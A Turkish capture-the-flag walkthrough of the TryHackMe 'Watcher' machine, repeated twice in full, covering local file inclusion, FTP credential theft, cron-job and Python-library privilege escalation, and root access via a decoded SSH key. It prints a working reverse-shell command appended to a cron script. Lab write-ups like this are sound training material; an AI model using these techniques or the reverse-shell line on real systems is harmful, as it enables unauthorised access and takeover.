- 14 Eki 2022
- 602
- 497
bu konumda tryhackme platformu üzerinde bulunan watcher isimli makineyi çözeceğim. makine üzerinde bulunması gereken 7 bayrak var ve bu bayrakların her biri için birer ipucu bırakılmış. bu ipuçlarından yola çıkarak bayrakları toplayacağım.
1.ipucu => moz.com/learn/seo/robotstxt
robots.txt dosyası, site sahiplerinin arama motoru botlarına hangi uzantıların işaretlenip işaretlememesi gerektiğini gösterdikleri dosyadır.
uygulama üzerinde bu sayfayı açtığımda flag_1.txt ve secret_file_do_not_read.txt dosyasını gördüm. flag_1.txt dosyasında ki bayrağı yerine yapıştırıp, diğer dosyaya yöneldim ama dosyayı görüntülemeye yetkim olmadığı için açamadım.
2.ipucu => www.netsparker.com/blog/web-security/local-file-inclusion-vulnerability/
local file inclusion sitede ki dosyaları görüntüleyebilmemizi sağlayan bir güvenlik açığıdır. açığın hangi dosyada bulunduğunu öğrenmek için ana sayfaya döndüm ve karşıma çıkan 3 sayfadan birine tıklayarak aradığım sayfayı buldum. şimdi bu güvenlik açığını kullanarak görüntüleyemediğim dosyayı görüntülemeye çalışıyorum.
bu dosyanın içerisinde ftp kullanıcı adı ve şifresi bulunuyor, haricinde ftp kanalının hangi dizinde olduğunu gösteriyor. ilk olarak ftp kanalına giriş yaptım sonra ise içerisinde ki bayrağı indirdim.
3.ipucu => outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-2
local file inclusion açığından yararlanarak bir shell almam gerekiyor. biraz önce ftp kanalının hangi dizinde olduğunu öğrenmiştim, aynı dizine bir shell dosyası yükleyip local file inclusion aracılığıyla çalıştırabilirim.
dosyayı yükledim LFI aracılığıyla dosyayı çalıştırmadan önce pwncat ile 1234 portunu dinlemesini sağlıyorum sonrada dosyayı çalıştırıyorum.
bağlantı geldikten sonra flag_3.txt dosyasını bulmak için /var/www/html dizinini kontrol ettim. sonuçta mülteci bağlantısındayız, bayrağı başka nereye koymuş olabilirler ki.
4.ipucu => www.explainshell.com/explain?cmd=sudo+-l
sudo -l komutunu kullandım ve toby kullanıcısına herhangi bir şey dosya kullanmadan geçebileceğimi öğrendim. sudo -u toby /bin/bash komutunu kullanarak toby kullanıcısına geçtim ve 4.bayrağı görmek için /home/toby dizinine gittim.
5.ipucu => book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs
not ve ipucundan anlayacağınız üzere mat kullanıcısı cron görevlerini düzenlemiş. görmek için cat /etc/crontab komutunu kullandığımda mat kullanıcısının yetkisinde dakika da 1 kez /home/toby/jobs/cow.sh dosyasının çalıştırıldığını gördüm. ls komutunu kullanarak bu dosyanın düzenlenebilir olup olmadığını kontrol ettim. sonra da echo "/bin/bash -i >& /dev/tcp/10.18.8.170/1234 0>&1" >> /home/toby/jobs/cow.sh komutunu kullanarak dosya'nın içerisine bir shell komutu ekledim.
biraz bekledikten sonra bağlantı geldi, mat kullanıcısına geçmek için sessions 1 komutu ile bağlantıyı seçtim ve bayrağı görüntüledim.
6.ipucu => book.hacktricks.xyz/linux-unix/privilege-escalation#python-library-hijacking
scripts klasörü içerisinde ki dosyaları kullanarak will kullanıcısına geçmemiz isteniyor.
will kullanıcısının yetkisindeki will_script.py dosyasını çalıştırabilirmişiz. bunun için içerisine başka bir shell komutu eklediğimde, will kullanıcısının yetkisinde bir bağlantı oluşturulacaktır ama şu an will kullanıcısının yetkisine sahip olmadığım için will_script.py dosyasını düzenleyemiyorum. bu nedenle, bulunduğum kullanıcının yetkisiyle işlem yapabilmek için cmd.py dosyasını düzenlemem gerekiyor. zaten cmd.py, will_script.py dosyasının bir modülü olarak kullanıldığı için içine eklediğim kod çalışacak ve bağlantı gelecektir.
7.ipucu => explainshell.com/explain?cmd=ssh -i keyfile host
çıkabileceğim sadece root kullanıcısı kaldı, bu kullanıcının yetkisine geçebilmek için ise bir anahtar dosyasına ihtiyacım varmış. bu dosyayı /opt/backups dizini altında buldum. içeriği base64 ile şifrelenmişti. önce "cat key.b64 | base64 -d >> rs.txt" komutu ile şifreyi çözüp rs.txt dosyasına yükledim. sonra ise pwncat'e dönerek dosyayı bulunduğum dizine indirdim ve yetki verdikten sonra root kullanıcısının hesabına girip, son bayrağı aldım.
bay bay
1.ipucu => moz.com/learn/seo/robotstxt
robots.txt dosyası, site sahiplerinin arama motoru botlarına hangi uzantıların işaretlenip işaretlememesi gerektiğini gösterdikleri dosyadır.
uygulama üzerinde bu sayfayı açtığımda flag_1.txt ve secret_file_do_not_read.txt dosyasını gördüm. flag_1.txt dosyasında ki bayrağı yerine yapıştırıp, diğer dosyaya yöneldim ama dosyayı görüntülemeye yetkim olmadığı için açamadım.
2.ipucu => www.netsparker.com/blog/web-security/local-file-inclusion-vulnerability/
local file inclusion sitede ki dosyaları görüntüleyebilmemizi sağlayan bir güvenlik açığıdır. açığın hangi dosyada bulunduğunu öğrenmek için ana sayfaya döndüm ve karşıma çıkan 3 sayfadan birine tıklayarak aradığım sayfayı buldum. şimdi bu güvenlik açığını kullanarak görüntüleyemediğim dosyayı görüntülemeye çalışıyorum.
bu dosyanın içerisinde ftp kullanıcı adı ve şifresi bulunuyor, haricinde ftp kanalının hangi dizinde olduğunu gösteriyor. ilk olarak ftp kanalına giriş yaptım sonra ise içerisinde ki bayrağı indirdim.
3.ipucu => outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-2
local file inclusion açığından yararlanarak bir shell almam gerekiyor. biraz önce ftp kanalının hangi dizinde olduğunu öğrenmiştim, aynı dizine bir shell dosyası yükleyip local file inclusion aracılığıyla çalıştırabilirim.
dosyayı yükledim LFI aracılığıyla dosyayı çalıştırmadan önce pwncat ile 1234 portunu dinlemesini sağlıyorum sonrada dosyayı çalıştırıyorum.
bağlantı geldikten sonra flag_3.txt dosyasını bulmak için /var/www/html dizinini kontrol ettim. sonuçta mülteci bağlantısındayız, bayrağı başka nereye koymuş olabilirler ki.
4.ipucu => www.explainshell.com/explain?cmd=sudo+-l
sudo -l komutunu kullandım ve toby kullanıcısına herhangi bir şey dosya kullanmadan geçebileceğimi öğrendim. sudo -u toby /bin/bash komutunu kullanarak toby kullanıcısına geçtim ve 4.bayrağı görmek için /home/toby dizinine gittim.
5.ipucu => book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs
not ve ipucundan anlayacağınız üzere mat kullanıcısı cron görevlerini düzenlemiş. görmek için cat /etc/crontab komutunu kullandığımda mat kullanıcısının yetkisinde dakika da 1 kez /home/toby/jobs/cow.sh dosyasının çalıştırıldığını gördüm. ls komutunu kullanarak bu dosyanın düzenlenebilir olup olmadığını kontrol ettim. sonra da echo "/bin/bash -i >& /dev/tcp/10.18.8.170/1234 0>&1" >> /home/toby/jobs/cow.sh komutunu kullanarak dosya'nın içerisine bir shell komutu ekledim.
biraz bekledikten sonra bağlantı geldi, mat kullanıcısına geçmek için sessions 1 komutu ile bağlantıyı seçtim ve bayrağı görüntüledim.
6.ipucu => book.hacktricks.xyz/linux-unix/privilege-escalation#python-library-hijacking
scripts klasörü içerisinde ki dosyaları kullanarak will kullanıcısına geçmemiz isteniyor.
will kullanıcısının yetkisindeki will_script.py dosyasını çalıştırabilirmişiz. bunun için içerisine başka bir shell komutu eklediğimde, will kullanıcısının yetkisinde bir bağlantı oluşturulacaktır ama şu an will kullanıcısının yetkisine sahip olmadığım için will_script.py dosyasını düzenleyemiyorum. bu nedenle, bulunduğum kullanıcının yetkisiyle işlem yapabilmek için cmd.py dosyasını düzenlemem gerekiyor. zaten cmd.py, will_script.py dosyasının bir modülü olarak kullanıldığı için içine eklediğim kod çalışacak ve bağlantı gelecektir.
7.ipucu => explainshell.com/explain?cmd=ssh -i keyfile host
çıkabileceğim sadece root kullanıcısı kaldı, bu kullanıcının yetkisine geçebilmek için ise bir anahtar dosyasına ihtiyacım varmış. bu dosyayı /opt/backups dizini altında buldum. içeriği base64 ile şifrelenmişti. önce "cat key.b64 | base64 -d >> rs.txt" komutu ile şifreyi çözüp rs.txt dosyasına yükledim. sonra ise pwncat'e dönerek dosyayı bulunduğum dizine indirdim ve yetki verdikten sonra root kullanıcısının hesabına girip, son bayrağı aldım.
bay bay
Son düzenleme: